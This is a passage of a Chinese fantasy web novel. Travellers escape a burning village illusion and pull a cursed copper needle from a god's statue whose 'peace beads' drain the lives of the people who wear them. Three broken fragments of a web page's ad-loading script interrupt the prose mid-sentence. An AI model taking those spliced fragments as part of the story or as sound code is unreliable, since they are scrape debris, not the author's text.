“也不会跑很远,是我想去看看梅姐说的那个死野猪的地方,不都说毒药附近都是解药嘛,就想去找找有没有什么能解决村民病症的药。”麦子挠挠头,不好意思地说。 赵大哥感激一笑:“姑娘真是好心,但这也太晚了些,明日再上也不迟啊。” 她们能等锦书也等不到明日啊。 麦子长叹一声:“哎,我还干着送弟弟回家,这事情一日不解决便压着我难受。” 芩竹看了麦子一眼,补充道:“大哥若是不方便,只管将我们带到就回村来,我们随后自己回来。” 这话一听赵大哥也不愿意了,说:“这哪成,你们姑娘家家的,那山上指不定碰见什么。”说完摆摆手,又道:“我带你们去。” 三人说走就走,目的都是赶着入夜前回来。 “其实不想让你来,也是怕你失望,”山路无聊,赵大哥也许是为了活跃气氛,主动和她们聊起来,“村中的郎中之前也来找过,但无功而返啊。” 麦子无所谓地笑笑:“事在人为嘛,说不定这次就有线索了呢。” 这话不知是宽慰赵大哥的,还是给身边两人说的。 芩竹停在心里,垂头望向腰间的碎块,这物件许久未曾响过,找的越齐全竟还越发稳重了,就是枯了她们这些路上的人。 很快,赵大哥说的位置便到了,只是毕竟过了些时日,也记不太清具体的地点,所以赵大哥就伸着手在这一片指了圈,示意她们在这里找,而他则是扛着斧头站在一旁,帮她们看着周围。 来时就已是快日落,这回日头早已消失,林中昏暗,找什么都是困难,别说她们两这会其实毫无头绪,是漫无目的地在这一片瞎溜达。 芩竹转着转着就走出了赵大哥划出的区域,怕她遇到什么危险,那人在后面提醒了声,芩竹扬声应答着,却在原地没有动,她微微耸了耸鼻子,总觉得这里有股怪味。 “闻见什么了?”麦子看她动作,打趣说着。 赵大哥分神了一会不注意,再回头一瞧见两个人都跑出了圈外,无奈摇头,跟过来说:“别看这山不凶险,还是有很多吃人的动物呢,之前那野猪不就是。” “这是它吃的?” 他话音刚落,芩竹便出口问,另外两人朝她值得位置看过去,因为环境昏暗,看的很艰难,眯着眼打量才瞅到草丛中和雪地上一些凌乱的血迹。 “这倒是不知道。”赵大哥老实说。 麦子把梅姐给的火折子掏出来,对着那处照了照,又习惯性往前伸了伸胳膊,发现那前面的雪中掺着很明显的泥土。 往他们身后的山路上看,再怎么走了人也因为雪势太大都是洁白占大多数,而这里的泥土就像是从地下被刨了出来,突兀不说,那周边险些被雪压住的草叶上,和芩竹三人脚下有着同样的零星血迹,当然这些是除了芩竹之外都没有看出来。 “我过去看看。” 芩竹撂下这一句,走走到那中间,拿鞋底扫开遮在上面的雪和泥土,旁边的又跟着滑下来,中间像是有个坑。 她想到这里,开始蹲下刨坑,麦子满脸莫名,见状也来帮忙,赵大哥更是不懂她们这两的行为,凑近了也跟着一起忙活,芩竹刨着刨着,手底下忽然摸出个东西,拽着出来放到三人面前对着火光一看,发现时一只虎头鞋。 芩竹拍了拍鞋头,几人又仔细辨认了下,是虎头没错,而且摸着还很新。她便又站起来继续往外走,麦子和赵大哥没有说话,也跟着往外围寻找,许久后,在更远的地方找到了些衣服的碎块,还有更加明显的血迹。 “好了,天太晚了,不能再向外走了。”赵大哥看着自己手中捏着的碎片,叹了口气。 她们又回到了最开始发现野猪的地方,聚在一起看着手中的东西。 最开始的鞋是在土坑下找到的,猜测的话,孩子应该是先被埋在里面,后来又被什么从坑里挖了出来,如今看来,是那只野猪。 看那血迹和衣服残片的位置,它把孩子拖出去在那里吃掉,又转了回来,但却不知道因何缘由,竟然越走越无力,进食过后的身上的血蹭在草叶上,最后爬行到这里时,死去了。然后被丹水村的人发现,抬回去吃掉了。 “大哥,这鞋村里常见吗?”麦子拿过芩竹手上的虎头鞋翻看着。 赵大哥答得很快:“村里女人针线都好,这鞋可常见。”说完表情却还是凝重,从麦子手里把鞋拿来转着看,又指着虎头上的眼睛上的小绒毛——现在已经被泥土染得成了几缕,说:“我见过我媳妇和村里人一起做鞋,她就喜欢费些麻烦事把这东西给攒上,可……这两日村里看的严,娃娃都看得好好的啊。” 鞋在他手里反转了两圈,芩竹看着看着有些疑问:“这个鞋,娃娃穿是不是大了点?” 这话猛地点醒了赵大哥。这鞋子难做,费时费力不说,还飞财,一般都是周岁时或是稍大一些,为了添个好寓意才做的,而赵大哥手里这双鞋,倒像是六七虽那么大的孩子穿的。 “是是,之前村里还没染病的时候,有个邻居的亲戚说是要来投奔他,是一家三口,吃不饱穿不暖的,我们看他可怜,就每户送了点东西过去,恰好村东头有户人家的儿子过周岁,我媳妇给那人送礼,顺带着也就给那家的孩子做了双鞋。” 赵大哥把手上的鞋向前送了送,示意她们看那上面的穗花。他说,他家孩子和其他人家的小孩也愿意带着新来的朋友玩,村里玩得没有新意,就上山去玩,那会雪不是很大,大人也放心,就让他们去了,结果回来后,那家小孩就发了热,病了好些日子都没有起色,我们劝那夫妻俩去找郎中看看,他们也直说是受寒,过段日子就好了。 “可后来他们走时也没好,还是那丈夫背着出的村,我们去送的时候,脸色也不好。”赵大哥自己也有孩子,见不得这种,话里颇有些愤愤之意。 麦子听得皱眉:“走了?不是说过来投奔的吗?” “谁知道,说是不愿再麻烦,哎,咱们村毕竟也没有多好,那一家是城里来的,他们走后我们还在想,莫不是去石方县讨生活了。” 走时,刚好把这成了累赘的孩子扔下。 三人对着孤零零的鞋子沉默,这荒郊野岭,埋的太浅,尸骨都寻不到,估计之后还有别的鸟兽捡了断骨残肉去吃。 寒风穿过排排鬼影似的树干,扑在他们身上,芩竹打破这沉寂的氛围,说:“这孩子的症状和现在村里人的病症也很相似——大哥,这附近有什么孩子玩乐的地方。” 赵大哥深吸一口气,在原地绕了圈,面相一个方位说一个地方:“之前那边有条小溪,就是现在没了水,那头领子里有个木屋,再往上……” 赵大哥不愧是养孩子的,看来为了喊人回家吃饭,都快把山上哪棵树后面能藏多少人记住了。 麦子听得乐呵,边听他说,便接过那只虎头鞋,转去之前坑里埋好,芩竹留意着她的动作,等她回来后,拍拍她的肩。 “有个破观,里面供着个神仙,那旁边——”赵大哥思索的话突然被打断,这么熟悉的地方,芩竹和麦子对视一眼,问:“大哥,您带我们去那里看看吧。” “现在?” 林中死寂,只有淡淡月亮和一簇不住摇晃的火苗,赵大哥看着两人的眼神充满了敬佩,互相对视了一眼,最后猛地点头:“走。” 那地方也不远,就是实在当的上“破”这个字,连个供桌都没有,整体又低又窄,顶看着岌岌可危,总觉得下一刻要塌。 芩竹她们都不用进去看,只需一眼就能把里面所有东西看个完全。便就是那孤零零的神像。 “皇帝下令修这些东西,开始还真有人上上香,但屁用没有,后来也就渐渐没人管了。”赵大哥看起来对官家的一切都带着点不屑,话也说的直白。 她们对此也说不了什么,只能以沉默表示回答。 芩竹前进了几步,走近看着这像,灰扑扑的,身体和之前底下的那尊大神像一样,分不清男女,也看不清容貌,心口上插着一根铜针,只露出了短短一截。 可她这碎块并没有响。 “大哥,能问一下这神仙的名号吗?” “额……好像是叫玄英……什么的,我这也没认真记。”赵大哥回答。 玄英真君,就是锦书说的那个红绳求来的地方,可照她的说法,那这里并不应该破落至此啊? 芩竹将布人从怀里小心地放到肩上,转眼去瞧麦子,后者和她对视一瞬,心领神会地走到赵大哥面前:“大哥,你不是说着旁边还有什么地方,咱们一起看了,节省时间早些回去。” 赵大哥觉得有理,可听见芩竹要流在这里又担心,麦子又道:“她心细,非得上下都看看,没事,咱们就在旁边,喊一声都听见。” 说着,麦子便扯着赵大哥的手臂走了出去,拐去一边的时候还给芩竹打了个眼色。 芩竹点头,下一瞬商则便从布人中现了形,打了个响指,小簇的火苗便从指尖窜出,两人一同去看那铜针。 这里到底是矮一些,只消近一些就能看清神像心口的位置,那节突出的针尖上好像是有点血迹,发现这个,再顺着向下看,还能神像上的手掌印夹着几个血痕。 像是那小孩在从像上爬下来。 “我去拔。”商则没等她说,踩着石座伸手握上铜针,猛地便拔了出来,他这一下太过轻松,自己都没想到,因而也被用的大力带的向下栽去,被芩竹在下方拉着手肘停住。 针在商则手中震了下,芩竹没有看到,她好像听见了别的声音,“叮”的一声,从针尖本该戳的位置像是荡出一层水波,透过她们两人,向四周蔓延。 心口的地方发出“咔嚓”两声,掉下了些石块,中间混着个亮些的东西,芩竹松开商则,捡起一看,是个木头人,半个手掌小,还有几片碎纸落在地上。 商则知道她具体要在里面找什么,所以用那针尖将木人凿出了个豁口,但怎么看,这木人里也没有那个碎块。 “难怪不响。”芩竹喃喃道。 忽然,麦子的声音带着慌乱响起,芩竹连忙跑去看,见侧边麦子扶着赵大哥踉跄着走来:“他晕倒了。” 正说着, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 本来晕倒的赵大哥又奇怪地醒了过来,揉着心口粗喘着道:“我怎么这么心慌呢……”他像是完全没发现多了个可疑的男人,看见芩竹时摆摆手,想问问她找的怎么样了,眼神划过去时却猛地站直。 他这动静太大,架着他的麦子差点被撞得趔趄,懵然望过去,听见他声音打颤,拉着麦子的肩膀去指往山下:“那……火?” 芩竹两人没有赵大哥高,站得也是靠后的位置,闻言赶紧向前小跑着眺望,商则先她们看到,拧眉肯定了他的说法:“着火了。” 黑漆漆的夜中,纷乱树影下方,滔天的火光像是烧着三人的眼仁,疼痛,刺目。赵大哥语调奇怪地嚎叫了一声,又像是没有,接着连滚带爬地朝山下奔去,芩竹和麦子也是同样,耳边尽是呼呼的风和胸膛的狂跳。 渺小的身影向下狂奔,身后的山急速扭曲,空中打下鹅毛,地面白雪层层叠加,破败的观消失不见。 “咳咳咳——” 姜绾又是被呛醒的,不甚清醒的时候感觉自己在移动。她记得自己本来坐在桌边和床上的两人聊天,聊着聊着闻到股怪味,竟然睡着了?会有这么困吗? 又是那个熟悉的憋闷和令人恐惧的炽热感,姜绾皱了皱眉又咳了两下,眼前却不是黑色,而是歪歪扭扭混着桌椅的红,刺得她眼睛都睁不开。 “醒醒!”有人在哭啊,这声儿怎么那么像浔佩,她还会哭么——等等,丹水村,这是……火! 姜绾猛地清醒,深深呼吸又被呛到,趴着地面不住地咳嗽,浔佩给她顺着后背,而她抬眼看向周围。 自己本来趴着睡觉的桌子被看不出模样的东西砸毁了,也一起燃了,她被浔佩拖到了床边,三人此刻都在地面坐着,锦书在那人怀里不省人事。 “烧了太久,出不去了,这个怎么用。”浔佩扶着锦书,眼里都是无措,看姜绾爬起来,从腿边把那只剩下小半的血推给她。 “没事没事,别担心,我来。”姜绾心里一点底都没有,硬着头皮接下那碗血围着她们淋了一圈,起始端接上,圆圈形成,那稀稀拉拉的血迹亮了一瞬,又重新暗下去,浔佩看在眼里不敢出声,见姜绾又狠劲将那把不起眼的短剑插在圈里,顿时血光便盛,连呼吸都顺畅了几分。 姜绾稍稍放松些,回忆着芩竹的样子,甩出四张符跟着连在周边,像一堵墙,她抽空看了眼身后的锦书,好像真的没了一点生气,又看着眼前的晃动的符纸,默默闭上眼。 山上到山下不算远,三人跌跌撞撞跑下来,不到小半柱香,村子被大火吞噬,进去都成问题,赵大哥不管不顾往里冲,边咳边大吼着:“起来啊!都醒醒——” 噼里啪啦的声音将他的嘶哑的喊声淹没,他于是更加奔溃,朝着一个方向跑着。 麦子认得,那里是他的家。 那道奔跑的声影忽然歪了下,接着整个人倏地浴火,可他依旧像没有感知一般往前面跑,跑着喊着,嘴里叫着已经不成形的音节,最后脱力倒下,他还在烧,就是好像因为什么原因睡去了。 麦子见状,下意识就要去扶,被芩竹一把扯回来,麻花辫甩过,那后面是含泪的眼睛。 芩竹看得见地上不再动弹的火堆,看的见麦子脸颊滚下来的眼泪,这会的她,滚滚浓烟吸入鼻腔,额头眉心就像是呛了水,泛起的酸意让她控制不住的也想流泪,被她像往常一般无知无觉的咽了下去,可那阵酸意没有吞进肚子,反而撞进心口,砸得阵阵心酸。 她照例当做不存在,拉起麦子后便向着村长家跑。 院门早就烧垮了,一片火海中什么都看不清,芩竹只想闷头往进冲。而身边的人则是更快,带起一团冷火与那灼热的火相对,护着芩竹和麦子进去。 “姜绾!” 门的位置被人踹出了个宽缝,芩竹探头去看,里面像是没有人,商则看她的表情,身上包裹的冷火更大,而他这番做法,周边的火势也更大,芩竹发现了,直觉不太对,可商则没事人一般,顶着浑身冷火把房间撞出了个大口。 房里已经烧的不成样子,有房梁砸下来,火苗燃到床上,芩竹在那边多看了两眼,发现了不对——那下面压着个略高的东西。她连忙带着人过去,从房梁和床架卡缝中间发现了缩成一团的三人。 三人被淡淡的光膜包裹着,喊了几声后终于有点反应,商则推开那房梁时,底下几人还有点如梦初醒,迷糊得不知在哪,麦子率先背上锦书跑出去,芩竹则是拉着剩下两个出去,直到跑去稍微宽敞的地方才敢喘息。 姜绾拉着芩竹和麦子不停嚎:“我还以为我要死了。”麦子就搂着她拍拍抱抱,继续之前的话术,反正姜绾现在其实也只是缺个发泄的机会,她说什么不重要。 几个人抱团在村子的大路上,两边的火势似乎小了,身上冷了起来。 芩竹抬头看,雪花飘了下来,地面烧焦的痕迹变得陈旧,被身下突然变厚的雪覆盖,到后面寒风刺骨,火焰熄灭,黑夜寂静,彻底还原成外人眼中烧毁的丹水村。 她们出来了。 可芩竹手中一直攥着的那个布人却没有丝毫动静,她直起身,身边也没有商则的影子。 41. 玄英君 商则呢……这话好像问不了别人。 芩竹站起来重新转去村长的屋子,这里已然是一片废墟,焦黑的屋子被雪压着,房,门都塌了,自己也没法进去。 她又捧着那没有声息的布人摇摇,喊了声他的名字再将布人凑在耳边。 总不能,他还在那个过去的幻境里面?芩竹这么想着,并且已经开始思考怎么才能重新回去。 “骗到你了。”耳边的布人突然轻笑出声,耷拉着的身子也再次有了控制,伸了个懒腰。 芩竹愣了下,将布人拿回到面前,问:“你一直在这里面看着我?” “是啊,你出来的时候都不等我。”商则开玩笑,仿佛往常的小打小闹,可这次的情绪较之从前的情绪又不一样。 布人的表情传递出来的有限,芩竹捧着他,手指在他光秃秃的脑袋上划了划,却不是像往常那般随口来一句抱歉:“我有点不相信,刚才你怎么了?” 任谁都想不到她会这么说,芩竹是,商则也是。 他突然没有声音了,因为刚刚他的确撒了谎。他并没有一直看着她,而是在将她们送出房间时又被拉去了那个满是浓烟的地方,彼时应该是火势最大的时候,所有村民都缠着他,废了好大的劲。 但是那时候商则想的却是不是眼前的麻烦,却是另外一件事。 在下山去找姜绾的时候,他很想告诉芩竹,你在担心,这就是担心。 然后又想,芩竹会担心他吗?会的吧。他一向对自己很有信心,比如从前芩竹一定会救他,比如这种情绪也一定会对自己产生,只不过就是时间快慢的问题。 他和芩竹重逢比姜绾迟,那么有些感情最先轮不到他也是应该的。商则这般想着。 这幻境奇怪,被他打出去的力道可以全数返还在自己身上,他只能撑到整个丹水村恢复原状,他才从幻境出去,为了少些操心,他一出来就化进布人里,刚融合,就是听到芩竹在叫他。 两句哈哈过后,芩竹拿这个问题问他,他忽然就不知道怎么回答了,难道要说我刚才被一堆人揍了,你帮我揍回去吧,不行,没有面子—— “我受伤了,好疼……” 芩竹大约也能猜到,捧着他往院外走,低声道:“连累你了,但我不知道灵体如何医治,要不我带你去姜绾的葫芦里养养。” “不,我要和你待着。” “好,”芩竹顿了顿,又说,“如果下次真有这样的情况不用逞强,我会想别的办法。灵体消散,我也救不了你。” 她的话不知道触及到商则的什么心思,布人又没声了,好一会,他从她手里爬出来,攀上肩头,窝在了靠近侧颈的位置,安静不动。 芩竹知道他听见了,也不再啰嗦去和麦子等人汇合,搀着浔佩和她们往村外走着,这时,耳边忽然传来很轻的声音:“能救的吧……” 声音极淡,和落在肩头的雪一样。 那会李君带她们来时是下午,这阵出村已经是入夜不知多久,姜绾还怕在村后看不到人,结果刚走到村子末尾,就被一个拿着火把猛然冲来的人吓了一大跳。 李君几乎魔怔地跑来,然后站在她们面前手足无措,被浔佩实在看不下去,抬腿无力地踹了一脚,骂道:“干什么呢,找马车来!” “嗷嗷!”李君又一撒欢朝外跑去,边跑边吼着,“小姐出来了!赶紧过来!” 话音落下,村外紧跟着冲来一辆马车,接着四面八方都有人举着火把冲过来,阵仗太大,一时间中间的几人都有些不敢乱动。 余条从后面跑来,拿着狐裘从麦子背上将锦书裹住,小心翼翼端去马车里,“谢天谢地”念了无数便,浔佩也松开芩竹的手站直,招呼李君去喂药。 那人早就准备好了,把一个锦盒交给浔佩,后者随口一句“干得好”就上去把余条赶了下来。 姜绾看着那豪华的马车,羡慕之情无以言表,真想委婉地问一下有没有她们的份,芩竹便已经开口了:“我们能坐吗?车前面也行,她们很累了。” 那说都说了,姜绾也不掖着了,急道:“小麦姐姐在里面帮锦书挡了大麻烦呢,都捎来了,总不能让我们再腿儿着回去吧!” 她们跟这帮大户人家的手下都是第一次打交道,麦子更不用说,她连之前坐马车的情分都没有,这时更不敢说什么。若是锦书醒着,那她们肯定死皮赖脸上车,但现在…… 实在是这个余条长得不是很容易套近乎的样子。 “说得什么话,你们帮这么大的忙,这些不是应该的嘛。”余条说话快,尽管当下可能心情不错,那语气还是听得急吼吼,不耐烦。 李君是一副如释重负的样子,笑道:“掌事那‘谢天谢地’是口头禅,你们千万别在意。后面还有辆马车,我带你们过去。” “太好了……”“那小哥,有水或吃的吗,饿了许久。” “放心放心,管饱。” 离了余条,几人就稍稍活跃了些,钻进车里舒服地一路瘫到石方县里,本想着在城中找个客栈住下,却没想到,李君驾着马车直接进了李府,几个人一觉睡起来下了车站原地半晌没找着路,李君好笑地看了会才告诉她们,是锦书要留她们住下。 芩竹没所谓,她已经快困疯了——怎么觉得一直都在熬大夜的路上。 反正李君带路,她们就走,最后什么也不管就睡到了第二日天大亮,还是浔佩趴在床头把姜绾吓醒,才吵醒了整间屋子——也不是,芩竹翻了个身,继续睡。 麦子迷瞪着眼,含糊道:“不用管她,等会把饭端来就醒了。”说完反应了下自己现在身在何处,对浔佩互瞪了一会,说:“你们这是不是要几个人坐在大桌子上一起吃饭。” “不是,我家小姐也还睡着,我只是无聊来找你们玩。”浔佩无辜道。 姜绾鞋都穿好了,听她这么说十分无语,上去要和她一决高下,浔佩终于惹到一个人,得逞就跑。麦子冷眼看着这一幕,忽然想起来,那俩似乎是同一个年龄的小屁孩,又看看芩竹,和她差不多大的还在睡觉,她也就重新躺了回去。 那俩人在外面玩闹一会,麦子也睡醒了,只有芩竹还在床上纹丝不动,出于前几日那件事情,麦子鬼祟地凑到她身边探了探鼻息。 还好还好,有气。 直起身后,麦子才惊觉这番作为似乎有些蠢,想着幸好没人瞧见,一转身,窗台上趴着个布人。 麦子:…… 她没好气地出去,刚好撞见姜绾和浔佩回来,手上还捧着个盒子。 “我们路上碰见余掌事,他给的。”姜绾把那日在外面拦下余条问话的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事给麦子说了,打开盒子,里面是张传音符。 浔佩搭着姜绾的肩说:“余条说了给秦姑娘送礼,肯定说到做到,他以为你们是想要这个,特地找老爷求的。” 麦子觉得那传音符烫手,叹道:“你们家这好意可真是配得上李家这名号……” “哈,那是。”浔佩扬眉一甩马尾,说完视线透过紧闭的窗看向里面,疑惑道,“她还没起啊?别是又咳……了吧。” 知道她说的玩笑话,两人都只是笑,麦子摇头,就先三人去吃饭了。 芩竹能依稀听到她们说话,但大多数时间是在做梦,这个梦比过去那些仿佛泡在水里的景象清晰得多,却也摸不着头脑。 梦里有很多人,一眼望去都是浅淡的颜色,场面似乎在前不久见过,只是而今这氛围,有些沉重。 她站在靠前的位置,说不清楚心中想法,不过她自己觉得,是没有想法,就是按照别人的指示站在这里,和其他人做同样的动作。 后来回去了,她看见了商则。那人眼睛红红的,抱着几把佩剑过来寻她,放下不说话,两人一齐对着那些物件干瞪眼。 “是不是我把铃铛给你们,师兄他们就不会死了。”商则说。 “那些百姓就会死。”芩竹听见自己说。 商则看着她,像是在她脸上寻找着什么,芩竹坦然回视,四目相对,那人的眉头皱了皱,最后默默离开了。 这之后应该又发生了些事情,但芩竹醒后,又忘记了。 而见她醒了,屋内聊天的几个人又招呼她过去吃饭,关于那梦的事,便又不了了之。 锦书不在,可浔佩刚好在这,芩竹想起来那神像的事,便就问她,要去看看玄英真君该怎么走。 浔佩听锦书提过芩竹问她红绳的事,这时候就以为她是也想去求一个,爽快道:“我直接带你去。” 可我是想在那像里挖东西,你跟着我多少有点不好动手。 “不用,我自己去就行。”芩竹推脱。 “那地方还挺难找的,要不这样,我给你画个图。”浔佩说着,就起身去寻纸笔,坐到一边时还问,你会不会求。 芩竹都不知道她问的是什么,只是点头,听那人回她“真的”,又连忙接上一句:“去那地方的人多吗?” 问题问得快,浔佩也不再纠结上一句,思索道:“有点,但是我可以去找小姐把那处封了,让你先进去。” 哇…… 姜绾和麦子在旁边听得直咋舌,愣愣望着芩竹这看上去一身清高的人如何决断。 “可以,多谢。”芩竹一本正经承了这个情。 姜绾默默点出一个大拇指,又记起来刚才的传音符,递给芩竹,复述一遍浔佩的话,说:“余大哥这里没有线索,剩下一个就是陵南府那边,要去吗?” 芩竹咽下去一口早饭,乖乖喝着热水,摇头,说从神像那边回来先去一趟寺庙,再做打算。然后在身上摸索一阵,掏出个那天在幻境里拿到的木人放在外面。 这东西在怀里硌了她一晚上,现在才想起来。 浔佩趴过来瞧了几眼,一下觉得眼熟,又拿起来瞅着说:“我好像在哪见过这玩意,等小姐醒后,我去问问她。” 这么巧? “是啊,两个呢。”浔佩说。 42. 石像泪 那位神仙在石方县西边的山上,和芩竹她们在丹水村幻境里见到的地方大致相同,可之后上山后的路线就完全不一样了,是要再偏北一些。 芩竹把手里的简易地图卷起来,看向前方两边堆着雪堆的石阶。道路整洁,是经常有人打扫。 “怎么了?”商则在路边捏了个雪球,走过来放在芩竹头顶。 “我——”芩竹刚开口,天灵盖一凉,伸出手摸了个雪球,顿时忘记了自己刚要说什么,反手砸了回去。 商则笑着揉了揉胸口,再拍拍芩竹头发上的碎雪。 看着她单薄的衣衫,商则稍稍往她身边移了些,悄声说:“你今日怎么没让姜绾她们跟来?” 芩竹察觉到商则的动作,奇怪地看了眼他,那人神情坦然,伸手揽上她的肩,将她带进自己怀里,手放松垂在肩头,低头认真看着她:“我怕你冷。” “我不冷。” “好吧,其实是我冷。”商则飞快回答。 芩竹闭了嘴,任他搭着,继续朝石阶上走着,雪还在下,和昨日相比小了些。 这是她们在李府住的第二日,昨日锦书听到芩竹要来拜神仙也想陪她来,让她劝住了,锦书就松了口,说第二日帮她打点好一切,再派车送她到山下。所以芩竹就在李府等了一日,今日上午才到这里。 至于为什么剩下两人没来……算算情况,她们本来就和自己要找的东西没有关系,万一这路上再出什么幺蛾子,让那两人撞上不值当。 芩竹如是说。 “我还以为你只带着我是因为喜欢和我在一起。”商则大咧咧说着,话里带了些惆怅。 芩竹扫他一眼,食指在碎块牌牌上敲敲:“这难道不是你的身子吗?”又收回眼神,专心上台阶,随口提起:“之前也是你要跟着我的。” “是是,是我喜欢你,”商则垂着的手变为盖在芩竹肩头,微微用了些劲让她能和自己靠在一起,俩人贴在一起艰难走路,“咱们走慢点呗,路滑。” “那你自己慢慢上。” “不行啊,我冷……” 芩竹抬手覆上肩膀的那个手背,语气凉飕飕的,说:“我感觉你这样的取暖方式好像没什么用,我和你都是一样冰——”她扯了一把不小心打滑的人,默默补充:“还容易摔跤。” 商则大半个身子从后面挂在芩竹身上,笑呵呵的:“没事啊,我挡着风呢,走着走着就该热了。” 这家伙可能纯粹就是想玩吧,芩竹想着,也不管他嘴里胡诌的一通,继续赶路。 观中还真是一个人也没有,不知道在这之前姜绾和锦书那俩人说了些什么,才能让大小姐为了她把这搞成独属于芩竹一人游的地儿。 殿内木雕从房梁到花窗,每处都是精细干净的,让人根本没法把这里和幻境中的小地方当成同一个,包括那尊玄英真君的像。 按芩竹的目光看过去,他们很像,又不太一样,细细想来,也可能是幻境中被灰尘蒙得太过了些。 碎块终于响了起来,它这次不那么急促,有种目标就在眼前的无所谓。 芩竹围着神像看了几眼,看它心口的位置并没有铜针刺入的样子,犹豫道:“如果这像塌了,锦书可能会有麻烦。” “东西不拿走才有麻烦,”商则终于不维持他那奇怪的姿势了,踩上供桌,看向神像的心口,视线划过这位玄英真君五官的时候微不可查地顿了顿,又若无其事地移开,继续道,“到时候石方县的人怪罪下来,照实说是我干的。” 话毕,便一拳砸在像上。 石像心口炸开花样的裂纹,商则甩了甩手,又一拳上去,石块落下几块,露出里面半掌长的针。 “找着了……” 商则眼睛好似溢了血气,芩竹从下面能看见他骤然翻红的头发,和指尖冒出的丝丝火焰。 每次碰到这个碎块,他就显得有些癫狂了。 芩竹紧紧盯着商则手中缓缓外移的铜针,似乎再用些力道,就能带出下面她们想要的东西,这一次,看起来格外顺利。 但是…… 她的视线从那根针上面偏移了些。 针尖埋进心口的地方似乎有什么在向外流淌,她又凑近了点,眯着眼仔细瞧,殿内光线被商则挡住了,她废了些劲才看清,那好像是无数根白气,从心口冒出,飘出殿门道观,射向更远的地方,不知每根白气后牵着什么。 铜针还在向外,那气的颜色浅了,更变得不易察觉,芩竹渐渐觉得不妥,厉声道:“商则,住手。” 商则眼神失焦了一瞬,手上的力气小了,但也仅仅是一息,瞳仁又染上红,握着针的指节泛白,猛烈颤着像是在抗拒着些什么,可针还是向外了半寸。 有一缕白气淡淡晃悠了两下,从半空的地方像是棉丝般缓缓断开。 “商则!往回!”芩竹看着那条白气,急忙喊。 商则被这一声猛地喊回了神,下意识跟着指示攥住铜针狠劲向里捅回一寸,还没缓过劲,身后的人突然“噗通”一声跪在地上。 他一下慌了神,眼里的戾气还在,表情却担忧得想要跳下桌,松手时,那根即将拔出来的针没有支撑,也要重新滑落,芩竹捂着心口,赶在他松手前憋出两个字:“握好。” 与此同时,石方县中一个挑选首饰的夫人忽然扶住摊位,撑着额头。如果芩竹在的话,就能认出来这是她和姜绾第一次来时碰见的大婶。 摊主看着夫人的动作赶忙小心将人扶住,关切了句,夫人像是头晕,站了会又精神焕发,摆摆手道谢说自己刚刚可能着了风,又捏着手腕上那个红绳穿着的珠子转了转。 芩竹眼前还是花的,心口的刺痛还在,疼得她手都在抖,咬着牙才没发出声音,她喘了两口气抬眼,就是商则下桌的举动,又道:“别动,我没事。” 白气在空中飘着,看起来颇有点生龙活虎的样子。 商则的动作被芩竹口头喊停,急得就差分出第二个他下去,拧眉盯着芩竹的样子,那人在地上缩着,好像还在微微颤抖,他眼睛红得骇人,握着针的手还几次想要离开,又妥协照做,心里恨不得将天上丝丝缕缕的白气撕个干净。 “呼……”芩竹缓够了,轻嘶一声从地上爬起来,看见商则皱皱巴巴的表情,重自己新恢复了淡淡的样子,“已经好了,就是——” 她正想问问商则,结果抬起头后,竟看着那神像的眼睛里滚下一滴泪来。 商则见他对着神像发愣,不悦地回头看,正巧见着那滴泪从神像的下巴砸下,撞在腿面,发出石子的清脆撞击声。 腿面上的“泪珠”黑亮,和锦书那个红绳上的黑珠子一摸一样。 芩竹走过去拾起珠子,拿起的瞬间,一根发丝般的白气从她心口流出,缓缓淌向神像胸口针尖的位置,商则眼中闪过一抹厉色,一把抢过芩竹手中的珠子,那白气立刻消失,而“泪珠”在他手中,被烧成了齑粉。 和之前的像一样,这上面的白气牵着一人的性命,用他们千辛万苦求来的平安珠。像里藏着阴气很重的碎块,珠子怎么会是保平安的。戴着它的锦书一行人,都被阴差认成了…… “再捏一会。”芩竹对商则道,然后从怀里那处传音符,写了封信告知锦书,符被商则点着,飞烟顺着寒风飘进城中。 李府花园的石桌上,锦书正和姜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绾她们说笑着,突然面前烧起一簇火苗。 因着前日在丹水村的事,几人对火还有点发憷,全都避得老远,看着那火苗展开成信。 锦书疑惑拿起,读过一遍后交给姜绾和麦子:“是秦姑娘的信,她说平安珠乃神仙苦泪,是有害之物,戴久了伤身引邪。” 姜绾并不清楚这信中话之真假,只是全身心信任芩竹,而麦子不同,她在幻境中见过那神仙,尽管见了个假的,对那神仙说不上的感觉,就是不靠谱,于是添油加醋说了丹水村幻境也是因为玄英真君等等,让锦书把红绳摘了。 “对啊,你看这一路你遇到不少事,这珠子一点事不顶,芩竹是不会骗人的。”姜绾拉着她道。 锦书听她们这一来二去,还是照做了,浔佩见她如此,也是一把扯下那绳子,又听锦书担心道:“不行,城中不少人戴着呢,我去让余掌事去传一传。” …… 神像殿内,空中的白气正在大束大束的消失,很快就剩下十几根,可许久过去,剩余的那些依旧纹丝不动,看来,是不会再消失了。 商则和芩竹无言地呆在一处,好半晌,商则想说什么,还未开口,就听芩竹先一步说:“拔吧。” 他看着有些惊讶,又有些快活,压住自己的暴躁试探着把针向外抽出一截,白气变浅,商则扭头看向芩竹,确保她没有做什么动作,便放下心,在针上用了些力气。 就应该是这样,那些人之于我们,犯不着这般在乎。 那些白气缓缓淡去,出现了个在浅淡颜色和断掉的临界点。 芩竹表情平静,但目光一直注意着头顶的白丝,见到此状,迅速抬手,指尖绕着一缕金光,紧紧将那些崩断的白气一头握在手里,同时商则抽手,针尖拔出,在他微笑回头的时候看到了这一幕。 他的怔愣未过,甚至还来不及愠怒,就看芩竹要将手中奋力拉扯的白气引向她腰间的木牌。 白气在空中时如云飘着,看着柔软轻盈,但此刻芩竹拉着它们,却根根如利刃,含血陷在肉里,芩竹都要拉不住那之后重如泰山的人命,好像下一刻手掌就要被一分为二。 可她还是牵着,稳稳向木牌里送。 牌子和她一体,这事从很久之前商则就知道了。 此番作为,是要让自己背上这数道人命。 神像上困着人命大约是有别的术法,可芩竹什么术法都未施,这样做了,平安珠上的阴气,那些人造的业障,疾病,不就全被她扛了吗? 商则只觉得气。 而现在的芩竹,看不清商则的表情,自然也不清楚他在想什么,面不改色地做着这一切。 